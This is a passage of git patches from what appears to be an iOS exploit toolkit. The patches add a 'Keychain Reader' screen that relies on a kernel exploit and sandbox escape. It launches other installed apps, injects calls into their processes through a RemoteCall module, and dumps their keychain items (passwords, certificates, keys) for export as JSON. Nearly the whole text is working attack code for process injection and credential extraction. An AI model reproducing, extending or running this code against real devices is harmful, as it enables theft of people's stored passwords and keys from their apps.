[KeychainFieldResult] + + var summaryFields: [KeychainFieldResult] { + let priorityKeys = [ + "labl", "acct", "svce", "srvr", "path", "agrp", "alis", + "subj", "issuer", "cdat", "mdat" + ] + + var matches: [KeychainFieldResult] = [] + for key in priorityKeys { + if let field = fields.first(where: { $0.key == key }) { + matches.append(field) + } + } + + if matches.isEmpty { + return Array(fields.prefix(3)) + } + return matches + } + + var searchableText: String { + var pieces = [title] + if let subtitle { + pieces.append(subtitle) + } + pieces.append(contentsOf: fields.map { "\($0.key) \($0.searchText)" }) + return pieces.joined(separator: "\n") + } + + var secondarySummary: String? { + let values = summaryFields + .map(\.displayValue) + .filter { !$0.isEmpty } + .filter { value in + value != title && value != (subtitle ?? "") + } + + return values.first + } + + var jsonObject: [String: Any] { + var object: [String: Any] = [ + "id": id, + "title": title, + "fields": fields.map(\.jsonObject), + ] + if let subtitle { + object["subtitle"] = subtitle + } + return object + } + + var prettyJSON: String { + prettyPrintedJSONString(jsonObject) ?? "{}" + } +} + +private struct KeychainReadResult { + let app: KeychainApp + let date: Date + let classResults: [KeychainClassResult] + + var totalItems: Int { + classResults.reduce(0) { $0 + $1.itemCount } + } + + var exportObject: [String: Any] { + [ + "app": [ + "name": app.name, + "bundleID": app.bundleID, + "bundlePath": app.bundlePath, + "executable": app.executable, + ], + "readAt": iso8601Formatter.string(from: date), + "totalItems": totalItems, + "classes": classResults.map(\.jsonObject), + ] + } } struct KeychainView: View { @@ -23,6 +254,9 @@ struct KeychainView: View { @State private var datareadingbid: String? = nil @State private var errormsg: String? = nil @State private var pendingread: KeychainApp? = nil + @State private var currentResult: KeychainReadResult? = nil + @State private var isLoadingApps = false + @State private var launchBackgroundTask: UIBackgroundTaskIdentifier = .invalid private var filteredapps: [KeychainApp] { let trimmed = query.trimmingCharacters(in: .whitespacesAndNewlines) @@ -31,48 +265,33 @@ struct KeychainView: View { return apps.filter { $0.name.lowercased().contains(q) || $0.bundleID.lowercased().contains(q) } } + private var appEmptyMessage: String { + if !mgr.sbxready { + return "Run the sandbox escape to list installed apps." + } + if isLoadingApps { + return "Loading..." + } + if query.isEmpty { + return "No apps found." + } + return "No matches." + } + var body: some View { NavigationStack { List { - if !mgr.sbxready { - Section { - Text("Sandbox escape not ready. Run the sandbox escape first.") - .foregroundColor(.secondary) - } header: { Text("Status") } - } - - HStack { - TextField("Search", text: $query) - .textInputAutocapitalization(.never) - .autocorrectionDisabled() - Button(action: loadApps) { - Image(systemName: "arrow.clockwise") - } - .disabled(!mgr.sbxready || datareadingbid != nil) - } - if let error = errormsg { Section { PlainAlert(title: "Error", icon: "exclamationmark.triangle", text: error, color: .red) } } - Section { - if filteredapps.isEmpty { - Text(query.isEmpty ? "Loading..." : "No matches.") - .foregroundColor(.secondary) - } else { - ForEach(filteredapps) { app in - KCAppRow(app: app, isreading: datareadingbid == app.bundleID) { - startRead(app) - } - } - } - } header: { - HeaderLabel(text: "Installed Apps", icon: "app.badge") - } + currentResultSection + resultsSection + installedAppsSection } - .navigationTitle("Keychain Read") + .navigationTitle("Keychain Reader") } .onAppear { set_log_callback_kc { msg in @@ -82,33 +301,132 @@ struct KeychainView: View { laramgr.shared.logmsg("(keychain) \(s)") } } - if mgr.sbxready { loadApps() } + if mgr.sbxready && apps.isEmpty { + loadApps() + } } .onReceive(NotificationCenter.default.publisher(for: UIApplication.didBecomeActiveNotification)) { _ in - if let app = pendingread { - pendingread = nil - let pid = find_process_pid(app.executable) - if pid > 0 { - doRead(app, pid: pid) - } else { - errormsg = "App is not running, try again." - datareadingbid = nil + attemptPendingRead(reportFailure: false) + } + .onChange(of: mgr.sbxready) { ready in + if ready { + loadApps() + } else { + apps.removeAll() + isLoadingApps = false + } + } + } + + private var currentResultSection: some View { + Section(header: HeaderLabel(text: "Current Result", icon: "tray.full")) { + if let currentResult { + LabeledContent("App") { + Text(currentResult.app.name) + } + LabeledContent("Bundle ID") { + Text(currentResult.app.bundleID) + .font(.system(.body, design: .monospaced)) + .foregroundStyle(.secondary) + } + LabeledContent("Read At") { + Text(currentResult.date.formatted(date: .abbreviated, time: .standard)) + .foregroundStyle(.secondary) + } + LabeledContent("Total Items") { + Text("\(currentResult.totalItems)") + .monospacedDigit() + .foregroundStyle(.secondary) + } + + Button("Export JSON") { + exportCurrentResult() + } + .disabled(datareadingbid != nil) + } else { + Text("Read an app to browse its keychain results.") + .foregroundColor(.secondary) + } + } + } + + private var resultsSection: some View { + Section(header: HeaderLabel(text: "Results", icon: "key.horizontal")) { + if let currentResult { + ForEach(currentResult.classResults) { classResult in + switch classResult.state { + case .success(let items) where !items.isEmpty: + NavigationLink { + KeychainClassDetailView( + app: currentResult.app, + classResult: classResult + ) + } label: { + KeychainClassRow(classResult: classResult) + } + default: + KeychainClassRow(classResult: classResult) + } } + } else { + Text("No result yet.") + .foregroundColor(.secondary) } } - .onChange(of: mgr.sbxready) { ready in - if ready { loadApps() } else { apps.removeAll() } + } + + private var installedAppsSection: some View { + Section(header: HeaderLabel(text: "Installed Apps", icon: "app.badge")) { + HStack { + TextField("Search", text: $query) + .textInputAutocapitalization(.never) + .autocorrectionDisabled() + + Button(action: loadApps) { + Image(systemName: "arrow.clockwise") + } + .disabled(!mgr.sbxready || datareadingbid != nil || isLoadingApps) + } + + if filteredapps.isEmpty { + Text(appEmptyMessage) + .foregroundColor(.secondary) + } else { + ForEach(filteredapps) { app in + KCAppRow( + app: app, + isreading: datareadingbid == app.bundleID, + isdisabled: datareadingbid != nil && datareadingbid != app.bundleID + ) { + startRead(app) + } + } + } } } - func loadApps() { - guard mgr.sbxready else { return } + private func loadApps() { + guard mgr.sbxready else { + DispatchQueue.main.async { + self.apps.removeAll() + self.isLoadingApps = false + } + return + } + + DispatchQueue.main.async { + self.isLoadingApps = true + } + DispatchQueue.global(qos: .userInitiated).async { var results: [KeychainApp] = [] let bundleFolder = "/private/var/containers/Bundle/Application" guard let bundles = try? FileManager.default.contentsOfDirectory(atPath: bundleFolder) else { - DispatchQueue.main.async { apps.removeAll() } + DispatchQueue.main.async { + self.apps.removeAll() + self.isLoadingApps = false + } return } @@ -125,8 +443,8 @@ struct KeychainView: View { if executable.isEmpty { continue } let bundleid = info["CFBundleIdentifier"] as? String ?? "" let name = (info["CFBundleDisplayName"] as? String) ?? - (info["CFBundleName"] as? String) ?? - (item as NSString).deletingPathExtension + (info["CFBundleName"] as? String) ?? + (item as NSString).deletingPathExtension var icon: UIImage? = nil if let icons = info["CFBundleIcons"] as? [String: Any], @@ -140,157 +458,734 @@ struct KeychainView: View { } results.append(KeychainApp( - name: name, bundleID: bundleid, bundlePath: fullAppPath, + name: name, + bundleID: bundleid, + bundlePath: fullAppPath, executable: executable, - icon: icon ?? UIImage(named: "unknown"), + icon: icon ?? UIImage(named: "unknown") )) break } } results.sort { $0.name.lowercased() < $1.name.lowercased() } - DispatchQueue.main.async { apps = results } + DispatchQueue.main.async { + self.apps = results + self.isLoadingApps = false + } } } - func startRead(_ app: KeychainApp) { + private func startRead(_ app: KeychainApp) { guard datareadingbid == nil && pendingread == nil else { return } - guard mgr.dsready else { errormsg = "Darksword not ready, run the exploit first."; return } - guard mgr.sbxready else { errormsg = "Sandbox not escaped."; return } + guard mgr.dsready else { + errormsg = "Darksword not ready. Run the exploit first." + return + } + guard mgr.sbxready else { + errormsg = "Sandbox escape not ready." + return + } runRead(app) } - func runRead(_ app: KeychainApp) { + private func runRead(_ app: KeychainApp) { errormsg = nil datareadingbid = app.bundleID - - // let pid = find_process_pid(app.executable) - // if pid > 0 { - // doRead(app, pid: pid) - // } else { pendingread = app - - var bgTask: UIBackgroundTaskIdentifier = .invalid - bgTask = UIApplication.shared.beginBackgroundTask(withName: "AutoResumeDecrypt") { - UIApplication.shared.endBackgroundTask(bgTask) - } + beginLaunchBackgroundTask() let ret = launch_app(app.bundleID) guard ret == 0 else { - UIApplication.shared.endBackgroundTask(bgTask) pendingread = nil datareadingbid = nil errormsg = "Could not launch app. Open it manually." + endLaunchBackgroundTask() return } - DispatchQueue.global(qos: .userInitiated).asyncAfter(deadline: .now() + 2.5) { - launch_app(Bundle.main.bundleIdentifier!) - usleep(500000) - - if self.pendingread != nil { - self.pendingread = nil - let foundPid = find_process_pid(app.executable) - if foundPid > 0 { - DispatchQueue.main.async { - self.doRead(app, pid: foundPid) - } - } else { - DispatchQueue.main.async { - self.datareadingbid = nil - self.errormsg = "Process not found after launch. Try manually." - } - } + DispatchQueue.global(qos: .userInitiated).asyncAfter(deadline: .now() + 5.0) { + returnToLaraApp() + usleep(1_000_000) + DispatchQueue.main.async { + self.attemptPendingRead(reportFailure: true) } + } + } - DispatchQueue.main.async { - UIApplication.shared.endBackgroundTask(bgTask) + private func attemptPendingRead(reportFailure: Bool) { + guard let app = pendingread else { return } + let pid = find_process_pid(app.executable) + guard pid > 0 else { + if reportFailure { + pendingread = nil + datareadingbid = nil + errormsg = "Process not found after launch. Try manually." + endLaunchBackgroundTask() } + return } - // } + + pendingread = nil + endLaunchBackgroundTask() + doRead(app) } - func doRead(_ app: KeychainApp, pid: pid_t) { + private func doRead(_ app: KeychainApp) { laramgr.shared.logmsg("(keychain) reading \(app.bundleID)...") DispatchQueue.global(qos: .userInitiated).async { - if let proc = RemoteCall(process: app.executable, useMigFilterBypass: false) { + guard let proc = RemoteCall(process: app.executable, useMigFilterBypass: false) else { + DispatchQueue.main.async { + self.datareadingbid = nil + self.errormsg = "Cannot init RemoteCall." + } + return + } + + defer { + proc.destroy() + returnToLaraApp() + } + let relaunchSucceeded = DispatchQueue.main.sync { + launch_app(app.bundleID) == 0 + } + guard relaunchSucceeded else { DispatchQueue.main.async { - let ret = launch_app(app.bundleID) - guard ret == 0 else { - datareadingbid = nil - self.datareadingbid = nil - self.errormsg = "Could not launch app. Open it manually." - return - } + self.datareadingbid = nil + self.errormsg = "Could not relaunch app for keychain scan." } + return + } - usleep(500000) + usleep(500_000) - var sec_symbols = remote_sec_symbols() - if find_secitem_symbols(proc, &sec_symbols) { - if let secitems = get_secitems(proc, &sec_symbols, .scGenericPassword, false) { - laramgr.shared.logmsg("(keychain) fetched \(secitems.count) generic password item(s)") - for (index, item) in secitems.prefix(3).enumerated() { - laramgr.shared.logmsg("(keychain) item[\(index)] \(item)") - } - if secitems.count > 3 { - laramgr.shared.logmsg("(keychain) truncated \(secitems.count - 3) additional item(s)") + let result = self.performRead(app: app, proc: proc) + DispatchQueue.main.async { + self.currentResult = result + self.datareadingbid = nil + self.errormsg = nil + } + } + } + + private func performRead(app: KeychainApp, proc: RemoteCall) -> KeychainReadResult { + var secSymbols = remote_sec_symbols() + guard find_secitem_symbols(proc, &secSymbols) else { + let message = "Failed to resolve Security symbols." + laramgr.shared.logmsg("(keychain) \(message)") + return KeychainReadResult( + app: app, + date: Date(), + classResults: KeychainClassKind.allCases.map { + KeychainClassResult(kind: $0, state: .failure(message)) + } + ) + } + + var classResults: [KeychainClassResult] = [] + + for kind in KeychainClassKind.allCases { + guard let rawItems = get_secitems(proc, &secSymbols, kind.secClass, true) as? [NSDictionary] else { + laramgr.shared.logmsg("(keychain) \(kind.title.lowercased()) read failed") + classResults.append( + KeychainClassResult( + kind: kind, + state: .failure("Failed to read \(kind.title.lowercased()) items.") + ) + ) + continue + } + + let items = normalizeItems(rawItems, kind: kind) + if items.isEmpty { + laramgr.shared.logmsg("(keychain) \(kind.title.lowercased()): 0 items") + classResults.append(KeychainClassResult(kind: kind, state: .empty)) + } else { + laramgr.shared.logmsg("(keychain) \(kind.title.lowercased()): \(items.count) items") + classResults.append(KeychainClassResult(kind: kind, state: .success(items))) + } + } + + let result = KeychainReadResult( + app: app, + date: Date(), + classResults: classResults + ) + laramgr.shared.logmsg("(keychain) finished \(app.bundleID) with \(result.totalItems) total item(s)") + return result + } + + private func normalizeItems(_ rawItems: [NSDictionary], kind: KeychainClassKind) -> [KeychainItemResult] { + rawItems.enumerated().map { index, rawItem in + let rawPairs = rawItem.allKeys.compactMap { key -> (String, Any)? in + guard let value = rawItem.object(forKey: key) else { return nil } + return (String(describing: key), value) + } + let pairs = rawPairs.sorted { $0.0.localizedCaseInsensitiveCompare($1.0) == .orderedAscending } + let fields = pairs.map { normalizeField(key: $0.0, value: $0.1) } + + let title = itemLabel( + fallback: "\(kind.title) Item \(index + 1)", + fields: fields, + preferredKeys: ["labl", "svce", "srvr", "acct", "alis", "subj", "type"] + ) + let subtitle = itemSubtitle(fields: fields, excluding: title) + + return KeychainItemResult( + id: "\(kind.exportKey)-\(index)", + title: title, + subtitle: subtitle, + fields: fields + ) + } + } + + private func normalizeField(key: String, value: Any) -> KeychainFieldResult { + if let data = value as? Data { + if key.caseInsensitiveCompare("sha1") == .orderedSame { + let hex = hexString(data) + let exportValue: [String: Any] = [ + "type": "data", + "byteCount": data.count, + "hex": hex, + "base64": data.base64EncodedString(), + ] + return KeychainFieldResult( + key: key, + displayValue: hex, + detailText: hex, + searchText: hex, + isMonospaced: true, + exportValue: exportValue + ) + } + + let preview = santanderfs.render(data: data).text + let exportValue: [String: Any] = [ + "type": "data", + "byteCount": data.count, + "base64": data.base64EncodedString(), + "preview": preview, + ] + return KeychainFieldResult( + key: key, + displayValue: compactText(preview), + detailText: preview, + searchText: preview, + isMonospaced: true, + exportValue: exportValue + ) + } + + if let string = value as? String { + return KeychainFieldResult( + key: key, + displayValue: compactText(string), + detailText: string, + searchText: string, + isMonospaced: false, + exportValue: string + ) + } + + if let date = value as? Date { + let display = date.formatted(date: .abbreviated, time: .standard) + return KeychainFieldResult( + key: key, + displayValue: display, + detailText: display, + searchText: display, + isMonospaced: false, + exportValue: iso8601Formatter.string(from: date) + ) + } + + if let bool = value as? Bool { + let display = bool ? "True" : "False" + return KeychainFieldResult( + key: key, + displayValue: display, + detailText: display, + searchText: display, + isMonospaced: false, + exportValue: bool + ) + } + + if let int = value as? Int { + let display = String(int) + return KeychainFieldResult( + key: key, + displayValue: display, + detailText: display, + searchText: display, + isMonospaced: false, + exportValue: int + ) + } + + if let double = value as? Double { + let display = String(format: "%.3f", double) + return KeychainFieldResult( + key: key, + displayValue: display, + detailText: display, + searchText: display, + isMonospaced: false, + exportValue: double + ) + } + + if let number = value as? NSNumber { + if CFGetTypeID(number) == CFBooleanGetTypeID() { + let bool = number.boolValue + let display = bool ? "True" : "False" + return KeychainFieldResult( + key: key, + displayValue: display, + detailText: display, + searchText: display, + isMonospaced: false, + exportValue: bool + ) + } + + let display = number.stringValue + let exportValue: Any = Int(display).map { $0 } ?? Double(display).map { $0 } ?? display + return KeychainFieldResult( + key: key, + displayValue: display, + detailText: display, + searchText: display, + isMonospaced: false, + exportValue: exportValue + ) + } + + if let dict = value as? NSDictionary { + let exportValue = normalizedDictionary(dict) + let detail = prettyPrintedJSONString(exportValue) ?? String(describing: exportValue) + return KeychainFieldResult( + key: key, + displayValue: compactText(detail), + detailText: detail, + searchText: detail, + isMonospaced: true, + exportValue: exportValue + ) + } + + if let dict = value as? [AnyHashable: Any] { + let exportValue = normalizedDictionary(dict) + let detail = prettyPrintedJSONString(exportValue) ?? String(describing: exportValue) + return KeychainFieldResult( + key: key, + displayValue: compactText(detail), + detailText: detail, + searchText: detail, + isMonospaced: true, + exportValue: exportValue + ) + } + + if let array = value as? [Any] { + let exportValue = array.map(normalizedJSONValue) + let detail = prettyPrintedJSONString(exportValue) ?? String(describing: exportValue) + return KeychainFieldResult( + key: key, + displayValue: compactText(detail), + detailText: detail, + searchText: detail, + isMonospaced: true, + exportValue: exportValue + ) + } + + let fallback = String(describing: value) + return KeychainFieldResult( + key: key, + displayValue: compactText(fallback), + detailText: fallback, + searchText: fallback, + isMonospaced: true, + exportValue: fallback + ) + } + + private func itemLabel(fallback: String, fields: [KeychainFieldResult], preferredKeys: [String]) -> String { + for key in preferredKeys { + if let value = fieldDisplayValue(for: key, in: fields), !value.isEmpty { + return value + } + } + return fallback + } + + private func itemSubtitle(fields: [KeychainFieldResult], excluding title: String) -> String? { + let preferredKeys = ["acct", "svce", "srvr", "path", "agrp", "alis", "issuer", "subj"] + for key in preferredKeys { + guard let value = fieldDisplayValue(for: key, in: fields), !value.isEmpty, value != title else { continue } + return value + } + return nil + } + + private func fieldDisplayValue(for key: String, in fields: [KeychainFieldResult]) -> String? { + fields.first(where: { $0.key == key })?.displayValue + } + + private func exportCurrentResult() { + guard let currentResult else { return } + + do { + let data = try JSONSerialization.data( + withJSONObject: currentResult.exportObject, + options: [.prettyPrinted, .sortedKeys] + ) + let timestamp = iso8601Formatter.string(from: currentResult.date) + .replacingOccurrences(of: ":", with: "-") + let filename = "keychain-\(currentResult.app.bundleID)-\(timestamp).json" + let url = FileManager.default.temporaryDirectory.appendingPathComponent(filename) + try data.write(to: url, options: .atomic) + presentShareSheet(with: url) + } catch { + errormsg = "Failed to export result: \(error.localizedDescription)" + } + } + + private func beginLaunchBackgroundTask() { + guard launchBackgroundTask == .invalid else { return } + launchBackgroundTask = UIApplication.shared.beginBackgroundTask(withName: "KeychainLaunch") { + DispatchQueue.main.async { + self.endLaunchBackgroundTask() + } + } + } + + private func endLaunchBackgroundTask() { + guard launchBackgroundTask != .invalid else { return } + UIApplication.shared.endBackgroundTask(launchBackgroundTask) + launchBackgroundTask = .invalid + } +} + +private struct KeychainClassDetailView: View { + let app: KeychainApp + let classResult: KeychainClassResult + + @State private var searchQuery = "" + + private var filteredItems: [KeychainItemResult] { + let trimmed = searchQuery.trimmingCharacters(in: .whitespacesAndNewlines) + if trimmed.isEmpty { return classResult.items } + let query = trimmed.lowercased() + return classResult.items.filter { item in + item.searchableText.lowercased().contains(query) + } + } + + var body: some View { + List { + Section { + LabeledContent("App") { + Text(app.name) + } + LabeledContent("Bundle ID") { + Text(app.bundleID) + .font(.system(.body, design: .monospaced)) + .foregroundStyle(.secondary) + } + LabeledContent("Items") { + Text("\(classResult.itemCount)") + .monospacedDigit() + .foregroundStyle(.secondary) + } + } header: { + HeaderLabel(text: classResult.kind.title, icon: classResult.kind.icon) + } + + Section { + if filteredItems.isEmpty { + Text(searchQuery.isEmpty ? "No items." : "No matches.") + .foregroundColor(.secondary) + } else { + ForEach(filteredItems) { item in + NavigationLink { + KeychainItemDetailView(item: item) + } label: { + VStack(alignment: .leading, spacing: 4) { + Text(item.title) + .font(.headline) + .foregroundColor(.primary) + + if let subtitle = item.subtitle { + Text(subtitle) + .font(.caption) + .foregroundColor(.secondary) + .lineLimit(2) + } + + if let summary = item.secondarySummary { + Text(summary) + .font(.caption) + .foregroundColor(.secondary) + .lineLimit(2) + } + } } - } else { - laramgr.shared.logmsg("(keychain) failed to read generic password items") } - } else { - laramgr.shared.logmsg("(keychain) failed to resolve Security symbols") } + } header: { + HeaderLabel(text: "Items", icon: "list.bullet.rectangle") + } + } + .navigationTitle(classResult.kind.title) + .searchable(text: $searchQuery, prompt: "Search items") + } +} - DispatchQueue.main.async { - self.datareadingbid = nil +private struct KeychainItemDetailView: View { + let item: KeychainItemResult + + var body: some View { + List { + if !item.summaryFields.isEmpty { + Section(header: HeaderLabel(text: "Summary", icon: "text.alignleft")) { + ForEach(item.summaryFields) { field in + KeychainFieldRow(field: field) + } } - proc.destroy() - launch_app(Bundle.main.bundleIdentifier!) - } else { - DispatchQueue.main.async { - self.datareadingbid = nil - self.errormsg = "Cannot init RemoteCall." + } + + Section(header: HeaderLabel(text: "All Fields", icon: "doc.text")) { + ForEach(item.fields) { field in + KeychainFieldRow(field: field) } - return + } + } + .navigationTitle(item.title) + .navigationBarTitleDisplayMode(.inline) + .toolbar { + ToolbarItem(placement: .topBarTrailing) { + Button { + UIPasteboard.general.string = item.prettyJSON + UIImpactFeedbackGenerator(style: .light).impactOccurred() + } label: { + Image(systemName: "doc.on.doc") + } + } + } + } +} + +private struct KeychainClassRow: View { + let classResult: KeychainClassResult + + var body: some View { + HStack(spacing: 12) { + Image(systemName: classResult.kind.icon) + .frame(width: 20, alignment: .center) + .foregroundColor(.accentColor) + + VStack(alignment: .leading, spacing: 4) { + Text(classResult.kind.title) + .foregroundColor(.primary) + + if let failureMessage = classResult.failureMessage { + Text(failureMessage) + .font(.caption) + .foregroundColor(.secondary) + .lineLimit(2) + } + } + + Spacer() + + Text(classResult.statusText) + .font(.caption) + .foregroundColor(classResult.statusColor) + .monospaced() + } + } +} + +private struct KeychainFieldRow: View { + let field: KeychainFieldResult + + private var usesExpandedLayout: Bool { + field.isMonospaced || field.detailText.contains("\n") || field.detailText.count > 90 + } + + var body: some View { + if usesExpandedLayout { + VStack(alignment: .leading, spacing: 6) { + Text(field.key) + .fontWeight(.medium) + + Text(field.detailText) + .font(field.isMonospaced ? .system(size: 13, design: .monospaced) : .body) + .foregroundColor(.secondary) + .textSelection(.enabled) + } + .frame(maxWidth: .infinity, alignment: .leading) + } else { + LabeledContent(field.key) { + Text(field.detailText) + .foregroundStyle(.secondary) + .multilineTextAlignment(.trailing) + .textSelection(.enabled) } } } } -struct KCAppRow: View { +private struct KCAppRow: View { let app: KeychainApp let isreading: Bool + let isdisabled: Bool let onread: () -> Void var body: some View { HStack { if let icon = app.icon { Image(uiImage: icon) - .resizable().frame(width: 40, height: 40) + .resizable() + .frame(width: 40, height: 40) .clipShape(RoundedRectangle(cornerRadius: 9)) } else { Image("unknown") - .resizable().frame(width: 40, height: 40) + .resizable() + .frame(width: 40, height: 40) .clipShape(RoundedRectangle(cornerRadius: 9)) } VStack(alignment: .leading, spacing: 2) { - Text(app.name).font(.headline) - Text(app.bundleID).font(.caption).foregroundColor(.gray) + Text(app.name) + .font(.headline) + Text(app.bundleID) + .font(.caption) + .foregroundColor(.gray) } Spacer() Button(action: onread) { - if isreading { ProgressView() } - else { Text("Read") } + if isreading { + ProgressView() + } else { + Text("Read") + } } + .disabled(isdisabled || isreading) + } + .opacity(isreading || isdisabled ? 0.6 : 1.0) + } +} + +private let iso8601Formatter: ISO8601DateFormatter = { + let formatter = ISO8601DateFormatter() + formatter.formatOptions = [.withInternetDateTime, .withFractionalSeconds] + return formatter +}() + +private func returnToLaraApp() { + guard let bundleID = Bundle.main.bundleIdentifier else { return } + _ = launch_app(bundleID) +} + +private func compactText(_ text: String, maxLength: Int = 96) -> String { + let collapsed = text + .replacingOccurrences(of: "\r\n", with: "\n") + .replacingOccurrences(of: "\n", with: " ") + .trimmingCharacters(in: .whitespacesAndNewlines) + + guard collapsed.count > maxLength else { return collapsed } + return String(collapsed.prefix(maxLength - 3)) + "..." +} + +private func normalizedDictionary(_ dictionary: NSDictionary) -> [String: Any] { + let pairs = dictionary.allKeys.compactMap { key -> (String, Any)? in + guard let value = dictionary.object(forKey: key) else { return nil } + return (String(describing: key), value) + } + return normalizedDictionary(pairs) +} + +private func normalizedDictionary(_ dictionary: [AnyHashable: Any]) -> [String: Any] { + let pairs = dictionary.map { (String(describing: $0.key), $0.value) } + return normalizedDictionary(pairs) +} + +private func normalizedDictionary(_ pairs: [(String, Any)]) -> [String: Any] { + var result: [String: Any] = [:] + for (key, value) in pairs.sorted(by: { $0.0.localizedCaseInsensitiveCompare($1.0) == .orderedAscending }) { + result[key] = normalizedJSONValue(value) + } + return result +} + +private func normalizedJSONValue(_ value: Any) -> Any { + if let data = value as? Data { + let preview = santanderfs.render(data: data).text + return [ + "type": "data", + "byteCount": data.count, + "base64": data.base64EncodedString(), + "preview": preview, + ] + } + if let string = value as? String { + return string + } + if let date = value as? Date { + return iso8601Formatter.string(from: date) + } + if let bool = value as? Bool { + return bool + } + if let int = value as? Int { + return int + } + if let double = value as? Double { + return double + } + if let number = value as? NSNumber { + if CFGetTypeID(number) == CFBooleanGetTypeID() { + return number.boolValue } - .opacity(isreading ? 0.6 : 1.0) + if let intValue = Int(number.stringValue) { + return intValue + } + if let doubleValue = Double(number.stringValue) { + return doubleValue + } + return number.stringValue + } + if let dict = value as? NSDictionary { + return normalizedDictionary(dict) + } + if let dict = value as? [AnyHashable: Any] { + return normalizedDictionary(dict) + } + if let array = value as? [Any] { + return array.map(normalizedJSONValue) + } + return String(describing: value) +} + +private func hexString(_ data: Data) -> String { + data.map { String(format: "%02X", $0) }.joined() +} + +private func prettyPrintedJSONString(_ value: Any) -> String? { + guard JSONSerialization.isValidJSONObject(value), + let data = try? JSONSerialization.data(withJSONObject: value, options: [.prettyPrinted, .sortedKeys]), + let string = String(data: data, encoding: .utf8) + else { + return nil } + return string } From 4c66b06b1018efb1dc775361e8a003901afe873b Mon Sep 17 00:00:00 2001 From: QZ Yan Date: Thu, 9 Jul 2026 13:56:19 +0800 Subject: [PATCH 07/17] move objc lifetime control sel to keychain --- lara/kexploit/TaskRop/RemoteCall.h | 2 -- lara/kexploit/TaskRop/RemoteCall.m | 12 ---------- lara/kexploit/keychain.h | 5 ++++ lara/kexploit/keychain.m | 38 +++++++++++++++++++++++++++++- 4 files changed, 42 insertions(+), 15 deletions(-) diff --git a/lara/kexploit/TaskRop/RemoteCall.h b/lara/kexploit/TaskRop/RemoteCall.h index 50dad0356..e80bb18cf 100644 --- a/lara/kexploit/TaskRop/RemoteCall.h +++ b/lara/kexploit/TaskRop/RemoteCall.h @@ -158,8 +158,6 @@ uint64_t remote_sel(RemoteCall *proc, const char *name); uint64_t remote_dlsym(RemoteCall *proc, const char *name); uint64_t remote_getClass(RemoteCall *proc, const char *name); uint64_t remote_msg(RemoteCall *proc, uint64_t obj, uint64_t sel, uint64_t a0, uint64_t a1, uint64_t a2, uint64_t a3); -uint64_t remote_retain(RemoteCall *proc, uint64_t remoteObj); -void remote_release(RemoteCall *proc, uint64_t remoteObj); int remote_errno(RemoteCall *proc); uint64_t remote_NSString(RemoteCall *proc, const char *str); CGRect remote_getCGRect(RemoteCall *proc, uint64_t obj, uint64_t sel); diff --git a/lara/kexploit/TaskRop/RemoteCall.m b/lara/kexploit/TaskRop/RemoteCall.m index e318b9067..0b4351547 100644 --- a/lara/kexploit/TaskRop/RemoteCall.m +++ b/lara/kexploit/TaskRop/RemoteCall.m @@ -1721,18 +1721,6 @@ uint64_t remote_msg(RemoteCall *proc, uint64_t obj, uint64_t sel, return RemoteArbCall(proc, objc_msgSend, obj, sel, a0, a1, a2, a3); } -uint64_t remote_retain(RemoteCall *proc, uint64_t remoteObj) { - if (!remoteObj) return 0; - uint64_t sel_retain = remote_sel(proc, "retain"); - return remote_msg(proc, remoteObj, sel_retain, 0, 0, 0, 0); -} - -void remote_release(RemoteCall *proc, uint64_t remoteObj) { - if (!remoteObj) return; - uint64_t sel_release = remote_sel(proc, "release"); - remote_msg(proc, remoteObj, sel_release, 0, 0, 0, 0); -} - int remote_errno(RemoteCall *proc) { uint64_t errPtr = RemoteArbCall(proc, __error); if (!errPtr) return -1; diff --git a/lara/kexploit/keychain.h b/lara/kexploit/keychain.h index 996f13a12..ba61500a8 100644 --- a/lara/kexploit/keychain.h +++ b/lara/kexploit/keychain.h @@ -45,6 +45,11 @@ typedef struct { uint64_t kSecAttrAccessControl; } remote_sec_symbols; +typedef struct { + uint64_t sel_retain; + uint64_t sel_release; +} remote_objc_lifetimes; + typedef NS_ENUM(NSUInteger, sec_class) { kSCGenericPassword = 0, kSCInternetPassword, diff --git a/lara/kexploit/keychain.m b/lara/kexploit/keychain.m index a7ab57f22..650e1a7d9 100644 --- a/lara/kexploit/keychain.m +++ b/lara/kexploit/keychain.m @@ -53,6 +53,35 @@ static void log_status_message(const char *prefix, int32_t status) { logmsg(msg); } +static remote_objc_lifetimes uni_lifetimes; + +bool find_objc_lifetimes(RemoteCall *proc) { + if (!proc) return false; + uni_lifetimes.sel_retain = 0; + uni_lifetimes.sel_release = 0; + + uni_lifetimes.sel_retain = remote_sel(proc, "retain"); + uni_lifetimes.sel_release = remote_sel(proc, "release"); + if (uni_lifetimes.sel_retain && uni_lifetimes.sel_release) { + return true; + } + return false; +} + +uint64_t remote_retain(RemoteCall *proc, uint64_t remoteObj) { + if (!remoteObj) return 0; + if (!uni_lifetimes.sel_retain) find_objc_lifetimes(proc); + if (!uni_lifetimes.sel_retain) return 0; + return remote_msg(proc, remoteObj, uni_lifetimes.sel_retain, 0, 0, 0, 0); +} + +void remote_release(RemoteCall *proc, uint64_t remoteObj) { + if (!remoteObj) return; + if (!uni_lifetimes.sel_release) find_objc_lifetimes(proc); + if (!uni_lifetimes.sel_release) return; + remote_msg(proc, remoteObj, uni_lifetimes.sel_release, 0, 0, 0, 0); +} + static bool remote_load_library(RemoteCall *proc, const char *path) { uint64_t remotePath = remote_alloc_str(proc, path); if (!remotePath) { @@ -170,6 +199,7 @@ void remote_description(RemoteCall *proc, uint64_t remoteObj) { uint64_t errorRef = remote_alloc_ref(proc, 0); + // logmsg("Start serialization"); uint64_t remoteData = remote_msg( proc, cls_NSPropertyListSerialization, @@ -191,6 +221,7 @@ void remote_description(RemoteCall *proc, uint64_t remoteObj) { logmsg("NSPropertyListSerialization init failed after retain"); return nil; } + // logmsg("Serialization finish"); NSData *plistData = copy_remote_nsdata(proc, remoteData); remote_release(proc, remoteData); @@ -235,6 +266,7 @@ bool find_secitem_symbols(RemoteCall *proc, remote_sec_symbols *symbols) { if (!proc || !symbols) { return false; } + find_objc_lifetimes(proc); *symbols = (remote_sec_symbols){0}; symbols->SecItemCopyMatching = remote_dlsym(proc, "SecItemCopyMatching"); @@ -244,7 +276,11 @@ bool find_secitem_symbols(RemoteCall *proc, remote_sec_symbols *symbols) { return false; } - return load_sec_constant_symbols(proc, symbols); + bool result = load_sec_constant_symbols(proc, symbols); + if (!result && remote_load_library(proc, "/System/Library/Frameworks/Security.framework/Security")) { + result = load_sec_constant_symbols(proc, symbols); + } + return result; } uint64_t remote_NSMutableDictionary_dictionary(RemoteCall *proc) { From 76adae4559a11de79042efd2c4302deec094ecce Mon Sep 17 00:00:00 2001 From: QZ 